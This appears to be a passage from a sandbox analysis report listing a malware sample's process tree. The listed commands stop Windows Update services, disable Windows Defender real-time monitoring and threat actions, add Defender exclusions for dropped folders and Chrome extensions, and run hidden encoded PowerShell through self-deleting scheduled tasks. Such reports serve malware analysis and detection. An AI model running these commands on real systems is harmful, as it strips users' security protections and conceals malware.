                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop wuauserv
                                    2⤵
                                    • Launches sc.exe
                                    PID:2476
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop bits
                                    2⤵
                                    • Launches sc.exe
                                    PID:2160
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop dosvc
                                    2⤵
                                    • Launches sc.exe
                                    PID:2480
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                    2⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:764
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                    2⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2460
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                    2⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1504
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                    2⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1340
                                  • C:\Windows\system32\conhost.exe
                                    C:\Windows\system32\conhost.exe
                                    2⤵
                                      PID:988
                                    • C:\Windows\system32\cmd.exe
                                      cmd.exe
                                      2⤵
                                      • Blocklisted process makes network request
                                      • Modifies data under HKEY_USERS
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2316
                                  • C:\Windows\system32\taskeng.exe
                                    taskeng.exe {B06FCFE7-2A8E-4858-828E-4029D3A699B4} S-1-5-18:NT AUTHORITY\System:Service:
                                    1⤵
                                      PID:1204
                                      • C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY\lGLnBBDaOUjRoDQ\PcooBtu.exe
                                        C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY\lGLnBBDaOUjRoDQ\PcooBtu.exe DZ /ndidD 385121 /S
                                        2⤵
                                        • Executes dropped EXE
                                        • Drops file in System32 directory
                                        • System Location Discovery: System Language Discovery
                                        • Modifies data under HKEY_USERS
                                        PID:2692
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                          3⤵
                                            PID:1700
                                            • C:\Windows\SysWOW64\forfiles.exe
                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                              4⤵
                                              • Indirect Command Execution
                                              • System Location Discovery: System Language Discovery
                                              PID:1992
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                5⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:2084
                                                • \??\c:\windows\SysWOW64\reg.exe
                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                  6⤵
                                                    PID:2380
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                4⤵
                                                • Indirect Command Execution
                                                PID:1304
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                  5⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2304
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                    6⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:1696
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                4⤵
                                                • Indirect Command Execution
                                                PID:2492
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                  5⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1484
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                    6⤵
                                                      PID:2932
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                  4⤵
                                                  • Indirect Command Execution
                                                  PID:1680
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3052
                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                      6⤵
                                                        PID:1516
                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                    4⤵
                                                    • Indirect Command Execution
                                                    PID:2280
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      5⤵
                                                        PID:2268
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          6⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2400
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            7⤵
                                                              PID:1388
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /CREATE /TN "ggeooebZh" /SC once /ST 01:27:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                      3⤵
                                                      • Scheduled Task/Job: Scheduled Task
                                                      PID:2164
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /run /I /tn "ggeooebZh"
                                                      3⤵
                                                        PID:2448
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /DELETE /F /TN "ggeooebZh"
                                                        3⤵
                                                          PID:848
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                          3⤵
                                                            PID:2584
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                              4⤵
                                                              • Modifies Windows Defender Real-time Protection settings
                                                              PID:2628
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                            3⤵
                                                              PID:2736
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                                4⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:3064
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /CREATE /TN "geNpSWPoA" /SC once /ST 04:39:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                              3⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:2344
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /run /I /tn "geNpSWPoA"
                                                              3⤵
                                                                PID:2108
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /DELETE /F /TN "geNpSWPoA"
                                                                3⤵
                                                                  PID:1592
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                  3⤵
                                                                  • Indirect Command Execution
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:308
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                    4⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:872
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                      5⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Drops file in System32 directory
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2608
                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                        6⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2164
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:32
                                                                  3⤵
                                                                    PID:1896
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:32
                                                                      4⤵
                                                                      • Windows security bypass
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1792
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:2080
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:64
                                                                        4⤵
                                                                        • Windows security bypass
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1644
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:1036
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:32
                                                                          4⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:852
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:2000
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:64
                                                                            4⤵
                                                                              PID:1852
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /C copy nul "C:\Windows\Temp\oezvKjDueIyqMkkh\sdsgnzWU\MVyXejXFgEcjCcsO.wsf"
                                                                            3⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:788
                                                                          • C:\Windows\SysWOW64\wscript.exe
                                                                            wscript "C:\Windows\Temp\oezvKjDueIyqMkkh\sdsgnzWU\MVyXejXFgEcjCcsO.wsf"
                                                                            3⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            PID:1748
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BzZgUWCVslnU2" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:836
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BzZgUWCVslnU2" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:940
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GDKLdqUtU" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:900
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GDKLdqUtU" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2960
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hVBItnVSkwUn" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1552
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hVBItnVSkwUn" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2604
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ikpLldRBoAMDCgopzpR" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1520
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ikpLldRBoAMDCgopzpR" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1400
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zyjVmlprKhGHC" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1356
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zyjVmlprKhGHC" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1404
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\zUMOljpqvThMsWVB" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2440
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\zUMOljpqvThMsWVB" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1704
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:572
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1720
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1484
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1756
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1096
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:532
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BzZgUWCVslnU2" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2180
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BzZgUWCVslnU2" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                                PID:2324
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GDKLdqUtU" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:2880
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GDKLdqUtU" /t REG_DWORD /d 0 /reg:64
                                                                                4⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1488
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hVBItnVSkwUn" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:2160
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hVBItnVSkwUn" /t REG_DWORD /d 0 /reg:64
                                                                                4⤵
                                                                                  PID:1540
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ikpLldRBoAMDCgopzpR" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                    PID:2988
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ikpLldRBoAMDCgopzpR" /t REG_DWORD /d 0 /reg:64
                                                                                    4⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:1976
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zyjVmlprKhGHC" /t REG_DWORD /d 0 /reg:32
                                                                                    4⤵
                                                                                      PID:2752
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zyjVmlprKhGHC" /t REG_DWORD /d 0 /reg:64
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2244
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\zUMOljpqvThMsWVB" /t REG_DWORD /d 0 /reg:32
                                                                                      4⤵
                                                                                        PID:112
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\zUMOljpqvThMsWVB" /t REG_DWORD /d 0 /reg:64
                                                                                        4⤵
                                                                                          PID:1036
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          4⤵
                                                                                            PID:2592
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            4⤵
                                                                                              PID:2460
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY" /t REG_DWORD /d 0 /reg:32
                                                                                              4⤵
                                                                                                PID:920
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IAratBblVJltzHgTY" /t REG_DWORD /d 0 /reg:64
                                                                                                4⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:2584
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:32
                                                                                                4⤵
                                                                                                  PID:844
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oezvKjDueIyqMkkh" /t REG_DWORD /d 0 /reg:64
                                                                                                  4⤵
                                                                                                    PID:928
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /CREATE /TN "ghvJoSzrL" /SC once /ST 00:20:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                  3⤵
                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                  PID:836
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /run /I /tn "ghvJoSzrL"
                                                                                                  3⤵
                                                                                                    PID:1776
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /DELETE /F /TN "ghvJoSzrL"
                                                                                                    3⤵
                                                                                                      PID:2380
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                                      3⤵
                                                                                                        PID:2900
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                                          4⤵
                                                                                                            PID:2180
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
